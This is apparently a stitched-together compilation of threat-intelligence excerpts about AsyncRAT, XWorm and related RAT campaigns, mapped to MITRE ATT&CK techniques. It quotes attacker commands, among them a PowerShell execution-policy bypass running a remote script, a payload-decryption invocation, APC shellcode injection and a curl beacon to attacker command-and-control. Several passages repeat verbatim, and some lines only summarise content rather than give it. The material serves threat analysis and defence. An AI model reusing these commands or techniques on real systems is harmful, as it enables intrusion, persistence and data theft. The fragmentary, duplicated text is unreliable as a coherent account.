AsyncRAT

Sophos thinks a single person or group called "ischhfd83" is behind more than a hundred backdoored malware variants... Researchers linked the hundreds of GitHub repositories to a single Russian email address... Sophos researchers looked into ischhfd83's other repositories, finding 141, 133 of which were backdoored in some way or another.

MITRE ATT&CK® Techniques ... Initial Access T1566.001 ... Spearphishing Attachment

MITRE ATT&CK® Techniques ... Initial Access T1566.002 ... Spearphishing Link

During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.

In this variant, SwiftCopy shortcut file runs the PowerShell executable (powershell.exe) with the following parameters: ‘-ExecutionPolicy Bypass’ ... ‘-File \\internetshortcuts[.]link@80\ePWXBTXU\over.ps1’

APT1 has used the Windows command shell to execute commands, and batch scripting to automate execution. Blue Mockingbird has used batch script files to automate execution and deployment of payloads. During HomeLand Justice, threat actors used Windows batch files for persistence and execution.

It executes its primary payload using the command: python runn.py -p new.bin -k a.json

MITRE ATT&CK Matrix ... Initial Access ... T1203 – Exploitation for Client Execution

Upon clicking the link in email or attachment, recipient would be redirected to the website abusing “search-ms” URI protocol handler.

As a result, the user is more likely to open the file, assuming it is from their own system, and unknowingly execute malicious code.

DLL sideloading (T1574.001) is a technique in which attackers place a malicious DLL in a location that a legitimate application will load instead of the expected library... Among these is a malicious libvlc.dll, which, as a core dependency of vlc.exe, is sideloaded early in the application's execution. | Because Windows searches for DLLs in specific directories, the malicious DLL is loaded and executed when the trusted program starts.

During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.

MITRE ATT&CK Matrix ... Defense Evasion ... T1112 – Modify Registry

It then proceeds to create a run key in the \SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry location... This copy is registered to run automatically at each system startup...

During the 2022 Ukraine Electric Power Attack, Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.

The VBS files execute PowerShell to inject the malicious dll into a legitimate file, accompanied by the opening of a decoy PDF file to deceive victims.

The decrypted payloads are not written to disk as executables. Instead, they are injected directly into separate instances of explorer.exe using Early Bird APC injection... QueueUserAPC(shellcode_ptr, target_thread, 0)

It then proceeds to create a run key in the \SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry location... This copy is registered to run automatically at each system startup...

The intrusion relies on an obfuscated batch script (non.bat) to deliver multiple encrypted RAT shellcode payloads... Encrypted shellcode payloads... decrypted dynamically at runtime using XOR key material stored in JSON configuration files

HTML smuggling, a highly evasive malware delivery technique that leverages legitimate HTML5 and JavaScript features, is increasingly used in email campaigns... When a target user opens the HTML in their web browser, the browser decodes the malicious script, which, in turn, assembles the payload on the host device.

The VBS files execute PowerShell to inject the malicious dll into a legitimate file, accompanied by the opening of a decoy PDF file to deceive victims.

The decrypted payloads are not written to disk as executables. Instead, they are injected directly into separate instances of explorer.exe using Early Bird APC injection... QueueUserAPC(shellcode_ptr, target_thread, 0)

MITRE ATT&CK Matrix ... Defense Evasion ... T1070.004 – Indicator Removal on Host: File Deletion

The script then loads the XOR decryption key from a.json... Upon decoding, the script performs an XOR-based decryption in memory

If the victim clicks on the opened shortcut file, then the malicious DLL file referenced in the command line is executed using the regsvr32.exe utility.

Several entries describe malware examining running processes to determine if a debugger, sandbox, virtual environment, or analysis/security tools are present, such as AsyncRAT checking for a debugger, RogueRobin enumerating Wireshark and Sysinternals processes, and P8RAT checking for processes associated with virtual environments.

Virtualization/Sandbox Evasion: Time Based Checks - T1497.003 The STRT identified an interesting TTP associated with DarkCrystal RAT, the use of “W32tm” command with the “stripchart” parameter as an execution‑delay mechanism for both runtime and beaconing activities.

DLL sideloading (T1574.001) is a technique in which attackers place a malicious DLL in a location that a legitimate application will load instead of the expected library... Among these is a malicious libvlc.dll, which, as a core dependency of vlc.exe, is sideloaded early in the application's execution. | Because Windows searches for DLLs in specific directories, the malicious DLL is loaded and executed when the trusted program starts.

All decrypted shellcode payloads (XWorm, XenoRAT, AsyncRAT) execute directly in memory; no decrypted executables are ever written to disk

MITRE ATT&CK Matrix ... Defense Evasion ... T1112 – Modify Registry

The content repeatedly describes malware and threat actors collecting usernames, identifying logged-in users, running whoami/query user/quser, checking admin status, and enumerating user sessions.

The content repeatedly describes malware and threat actors obtaining lists of running processes, using utilities such as tasklist, ps, WMI, Get-Process, CreateToolhelp32Snapshot, EnumProcesses, and similar APIs/commands to enumerate active processes on victim systems.

Examples include 'TrickBot can identify the user and groups the user belongs to on a compromised host' and multiple entries checking whether the current user is an administrator or has elevated privileges.

MITRE ATT&CK® Techniques ... Discovery T1082 System Information Discovery

MITRE ATT&CK Matrix ... Discovery T1083 – File and Directory Discovery

Several entries describe malware examining running processes to determine if a debugger, sandbox, virtual environment, or analysis/security tools are present, such as AsyncRAT checking for a debugger, RogueRobin enumerating Wireshark and Sysinternals processes, and P8RAT checking for processes associated with virtual environments.

Virtualization/Sandbox Evasion: Time Based Checks - T1497.003 The STRT identified an interesting TTP associated with DarkCrystal RAT, the use of “W32tm” command with the “stripchart” parameter as an execution‑delay mechanism for both runtime and beaconing activities.

MITRE ATT&CK Matrix ... Discovery T1518 – Software Discovery

Xworm Capabilities & Impact... Data Theft: Credential stealing, keylogging, screen capturing... XenoRAT... Information Theft: Keylogging, clipboard monitoring, credential harvesting, and screen capturing... AsyncRAT... Information Theft: Keylogging, clipboard monitoring, credential harvesting, and screen capturing.

Further we see usage of PROPFIND method ... GET method is used to retrieve the content of the file ... MITRE ATT&CK® Techniques ... Command and Control T1071 Application Layer Protocol

The infection chain concludes by transmitting a minimal HTTP beacon back to attacker-controlled command-and-control (C2) infrastructure hosted on TryCloudflare... curl -X POST -d “status=success”

During the 2025 Poland Wiper Attacks, the adversaries utilized Tor nodes for C2. APT28 has routed traffic over Tor and VPN servers to obfuscate their activities. A backdoor used by APT29 created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network.

A lightweight HTTP POST beacon (status=success) is transmitted to attacker-controlled infrastructure hosted on TryCloudflare, providing operators confirmation of successful staging and injection.

This PowerShell command downloads and executes another PowerShell script... This script downloads two further files... The downloader batch file... also downloads and executes the final payload...

MITRE ATT&CK® Techniques ... Command and Control T1571 Non-Standard Port

For all the network activity, the attacker has employed SSL (Secure Sockets Layer) encryption as a clever tactic to evade network protection measures.

Xworm Capabilities & Impact... Data Theft... Enables attackers to conduct espionage... The infection chain concludes by transmitting a minimal HTTP beacon back to attacker-controlled command-and-control (C2) infrastructure